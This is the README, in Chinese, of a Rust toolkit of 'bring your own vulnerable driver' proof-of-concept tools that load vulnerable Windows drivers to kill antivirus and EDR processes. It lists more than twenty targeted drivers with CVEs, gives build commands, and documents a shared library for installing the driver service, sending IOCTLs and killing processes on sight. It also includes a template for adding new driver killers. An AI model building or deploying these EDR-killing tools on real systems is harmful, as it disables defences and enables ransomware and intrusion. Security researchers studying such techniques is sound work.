BYOVD 是一个 PoC 集合,演示了如何利用易受攻击的驱动程序来禁用 AV/EDR 解决方案。
该集合既包含未公开的驱动程序,也包含已在 LOLDDrivers 或 Microsoft 推荐的驱动程序阻止规则 中已有覆盖的驱动程序。
自首次被发现以来,TfSysMon 驱动程序已被添加到 LOLDrivers,并被勒索软件团伙利用 EDRKillShifter 工具滥用,相关报告见 Sophos 和 ESET
BYOVD 技术近年来在进攻性安全领域广受欢迎,尤其是随着 SpyBoy 的 Terminator(售价 3,000 美元)和 ZeroMemoryEx Blackout 项目等工具的发布。这些工具利用易受攻击的驱动程序来禁用 AV/EDR 代理,通过降低检测率来促进进一步的攻击。
本仓库包含多个为教育目的开发的 PoC,帮助研究人员理解这些驱动程序如何被滥用以终止进程。
该项目组织为一个 Rust Cargo workspace。大多数 PoC 共享一个公共库(byovd-lib),用于处理样板代码:驱动程序服务生命周期、IOCTL 分发、进程监控、权限调整和清理。每个 killer 都是一个精简的二进制文件(约 50-100 行),仅定义其特定于驱动程序自身的配置。K7Terminator、Astra64-Killer、Ktapi-Killer 和 Xhunter1-Killer 是独立的 —— 它们拥有自己的 [workspace] 声明,并直接从各自的目录构建,而非通过根 workspace。```
BYOVD/
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── EnPortv-Killer/ # EnCase EnPortv
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys
├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer
├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys
├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
每个 `*-Killer/` 目录都包含自己的 `Cargo.toml`、`src/main.rs`(`DriverConfig` 实现 + CLI)、`README.md`(驱动哈希 + 用法),以及二进制文件在运行时加载的对应 `.sys` 文件。
## 🔧 构建
**前置要求:** Rust 工具链,以及包含 Windows SDK 的 Visual Studio Build Tools。```bash
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
二进制文件输出到 target/release/。运行前,请将对应的 .sys 驱动程序文件复制到与可执行文件相同的目录中。
byovd-lib 是所有 PoC(K7Terminator 除外)所基于的共享库。它公开了两个互补的 API——一个高级声明式 API,用于标准的“安装驱动程序、见即杀、清理”流程;以及一个低级命令式 API,适用于需要自定义流程的杀手(附加到已加载的驱动程序、扇出到多个 PID、结构化 IOCTL 缓冲区、自定义重试逻辑等)。两者可以在同一二进制文件中混合使用。
byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir
### 高级 API:`DriverConfig` trait + `run()`
这就是捆绑的杀手工具所使用的。实现该 trait,调用 `byovd_lib::run()`,即可完成。```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
run() 执行:preflight_check → 安装服务(SERVICE_DEMAND_START)→ StartService → 即杀监控(Ctrl+C 退出)→ 停止并删除服务。
可选 trait 覆写及其默认值:
| 方法 | 默认值 | 用途 |
|---|---|---|
device_access() | SERVICE_ALL_ACCESS | CreateFileW 访问标志 |
skip_unload() | false | 跳过驱动清理(例如卸载时导致 BSOD 的驱动) |
ignore_ioctl_error() | false | 将 IOCTL 失败视为成功(例如 NSecKrnl 在成功时报告错误) |
ioctl_output_size() | 0 | 预期的输出缓冲区大小(字节) |
preflight_check() | Ok(()) | 启动前验证(例如 LocalSystem 检查) |
当 trait 流程不适用时——例如驱动已加载且只想触发一次 IOCTL、需要自定义重试策略、IOCTL 接受结构化输入而不仅仅是 PID,或想在所有匹配的 PID 间分发——可直接组合较低级别的组件。
驱动生命周期 —— ByovdDriver:```rust
use byovd_lib::ByovdDriver;
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;
**IOCTL 分发** -- `DeviceHandle` 暴露了五种类型化形态:
| 方法 | 使用场景 |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | 输入和输出缓冲区均存在,且类型不同 |
| `ioctl_inout<T>(code, &mut data)` | 输入和输出共用同一缓冲区 |
| `ioctl_in<I>(code, &input)` | 仅输入,无输出缓冲区 |
| `ioctl_in_unchecked<I>(code, &input)` | 仅输入,忽略失败(`ignore_ioctl_error` 的按调用替代方案) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | 原始指针逃生通道 |
当 IOCTL 接收结构体(例如 `{ pid: u32, padding: [u8; 20] }`)时,类型化形态省去了手动编写 `to_ne_bytes()` / `extend_from_slice()` 样板代码的步骤。
**进程查找** -- `find_pid_by_name(name)`(首个匹配项)和 `find_all_pids_by_name(name)`(所有匹配项,排除系统 PID ≤ 4)。